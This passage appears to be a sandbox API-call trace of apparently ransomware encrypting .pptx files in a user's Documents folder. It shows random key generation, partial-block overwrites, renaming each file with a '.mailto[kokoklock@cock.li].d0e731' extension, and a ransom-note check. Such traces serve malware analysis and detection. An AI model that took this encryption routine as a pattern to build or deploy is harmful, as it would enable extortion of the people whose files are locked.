nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11cbfa48*=0x4, lpOverlapped=0x0) returned 1 [0069.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0b8) returned 1 [0069.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c180) returned 1 [0069.387] CloseHandle (hObject=0x76c) returned 1 [0069.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce9d8 [0069.390] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx") returned="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx" [0069.390] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731" [0069.390] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\dxp6bfclzmvgvjv6m.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\dxp6bfclzmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.391] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0069.391] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx", dwFileAttributes=0x20) returned 0 [0069.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.391] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.391] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.391] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e260) returned 1 [0069.391] RtlExitUserThread (Status=0x1) Thread: id = 415 os_tid = 0x1044 [0069.393] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx")) returned 0x20 [0069.393] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx", dwFileAttributes=0x20) returned 1 [0069.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0069.393] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x11d3fe3c | out: lpFileSize=0x11d3fe3c*=75038) returned 1 [0069.393] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x1251a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.393] ReadFile (in: hFile=0x76c, lpBuffer=0x11d3fe10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11d3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x11d3fe10*, lpNumberOfBytesRead=0x11d3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.394] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c180 [0069.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0b8 [0069.394] NtQuerySystemTime (in: CurrentTime=0x11d3fde8 | out: CurrentTime=0x11d3fde8*=132121176272910326) returned 0x0 [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xfe737f6f [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x13e0ed33 [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x113e204d [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xb59026b [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xf8db94e6 [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x738bd9c9 [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x25daa242 [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xa0222010 [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x264a61cc [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x93031c6d [0069.394] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x9608af81 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x1a1b75c3 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xc2578bb2 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x1d578006 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x802b54dd [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xbbcef260 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x3805dfe1 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xad4e3901 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xd23247f9 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xebd28845 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x7b040130 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xb08288af [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xc3344533 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x6617cafd [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x2932b53f [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x59fd1801 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xccb62250 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x645f2000 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xd7691eb9 [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xc64e0e8e [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0x553fa3ee [0069.395] RtlRandom (in: Seed=0x11d3fdf4 | out: Seed=0x11d3fdf4) returned 0xea6e1656 [0069.405] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.405] ReadFile (in: hFile=0x76c, lpBuffer=0x3486220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11d3fdc0, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesRead=0x11d3fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0069.406] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c180 [0069.406] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c180) returned 1 [0069.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a2c0 [0069.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0069.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c180 [0069.406] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c180) returned 1 [0069.406] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.407] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x348a2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11d3fdc0, lpOverlapped=0x0 | out: lpBuffer=0x348a2c0*, lpNumberOfBytesWritten=0x11d3fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0069.407] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a2c0) returned 1 [0069.407] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x1251e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11d3fdf8, lpOverlapped=0x0 | out: lpBuffer=0x342c1f8*, lpNumberOfBytesWritten=0x11d3fdf8*=0x20, lpOverlapped=0x0) returned 1 [0069.407] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0069.407] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11d3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x342c1a8*, lpNumberOfBytesWritten=0x11d3fe0c*=0x8, lpOverlapped=0x0) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x11d3fe24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11d3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x11d3fe24*, lpNumberOfBytesWritten=0x11d3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11d3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11d3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11d3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11d3fe0c*=0x6c, lpOverlapped=0x0) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x342c0e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11d3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x342c0e0*, lpNumberOfBytesWritten=0x11d3fe0c*=0x20, lpOverlapped=0x0) returned 1 [0069.407] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11d3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11d3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.412] CloseHandle (hObject=0x76c) returned 1 [0069.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bd38 [0069.416] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx") returned="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx" [0069.416] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" [0069.416] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.417] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.417] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx", dwFileAttributes=0x20) returned 0 [0069.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.417] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.417] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.418] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34309c0) returned 1 [0069.418] RtlExitUserThread (Status=0x1) Thread: id = 416 os_tid = 0x1048 [0069.419] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx")) returned 0x20 [0069.419] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx", dwFileAttributes=0x20) returned 1 [0069.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0069.420] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x11dbf854 | out: lpFileSize=0x11dbf854*=70292) returned 1 [0069.420] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x11290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.420] ReadFile (in: hFile=0x76c, lpBuffer=0x11dbf828, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11dbf824, lpOverlapped=0x0 | out: lpBuffer=0x11dbf828*, lpNumberOfBytesRead=0x11dbf824*=0x4, lpOverlapped=0x0) returned 1 [0069.421] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c068 [0069.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c040 [0069.421] NtQuerySystemTime (in: CurrentTime=0x11dbf800 | out: CurrentTime=0x11dbf800*=132121176273066828) returned 0x0 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x9ca46343 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x9186a2f4 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xc786b42f [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x2c4e62c0 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x1e5361b4 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x60d8a32e [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xcff21f90 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x56f13a67 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xaea95c8d [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x74a4e4c1 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x4b2f9c35 [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x1246c80f [0069.421] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x40514a1b [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xec7922a6 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x34d56d50 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x8e48dc92 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x5481e5c4 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x30cbdda [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x1c92b3b4 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xb9c2deb [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xb9c2a7ef [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x3588aed2 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xc1a3b4c5 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xa93f26b1 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x784cf385 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x571c1d17 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x3954ffb1 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xca07daa6 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x37fe8b3f [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x8aa91602 [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0xb92713ec [0069.422] RtlRandom (in: Seed=0x11dbf80c | out: Seed=0x11dbf80c) returned 0x35daabce [0069.432] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.432] ReadFile (in: hFile=0x76c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11dbf7d8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11dbf7d8*=0x4096, lpOverlapped=0x0) returned 1 [0069.433] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1d0 [0069.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11dbf7d8, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11dbf7d8*=0x4096, lpOverlapped=0x0) returned 1 [0069.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.434] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x11294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11dbf810, lpOverlapped=0x0 | out: lpBuffer=0x342c1d0*, lpNumberOfBytesWritten=0x11dbf810*=0x20, lpOverlapped=0x0) returned 1 [0069.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0069.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11dbf824, lpOverlapped=0x0 | out: lpBuffer=0x342c1a8*, lpNumberOfBytesWritten=0x11dbf824*=0x8, lpOverlapped=0x0) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x11dbf83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11dbf824, lpOverlapped=0x0 | out: lpBuffer=0x11dbf83c*, lpNumberOfBytesWritten=0x11dbf824*=0x4, lpOverlapped=0x0) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11dbf824, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11dbf824*=0x4, lpOverlapped=0x0) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11dbf824, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11dbf824*=0x6c, lpOverlapped=0x0) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x342c068*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11dbf824, lpOverlapped=0x0 | out: lpBuffer=0x342c068*, lpNumberOfBytesWritten=0x11dbf824*=0x20, lpOverlapped=0x0) returned 1 [0069.434] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11dbf824, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11dbf824*=0x4, lpOverlapped=0x0) returned 1 [0069.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c068) returned 1 [0069.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.435] CloseHandle (hObject=0x76c) returned 1 [0069.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce9d8 [0069.437] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx") returned="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx" [0069.437] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" [0069.437] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.438] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0069.438] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx", dwFileAttributes=0x20) returned 0 [0069.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.438] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.438] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: 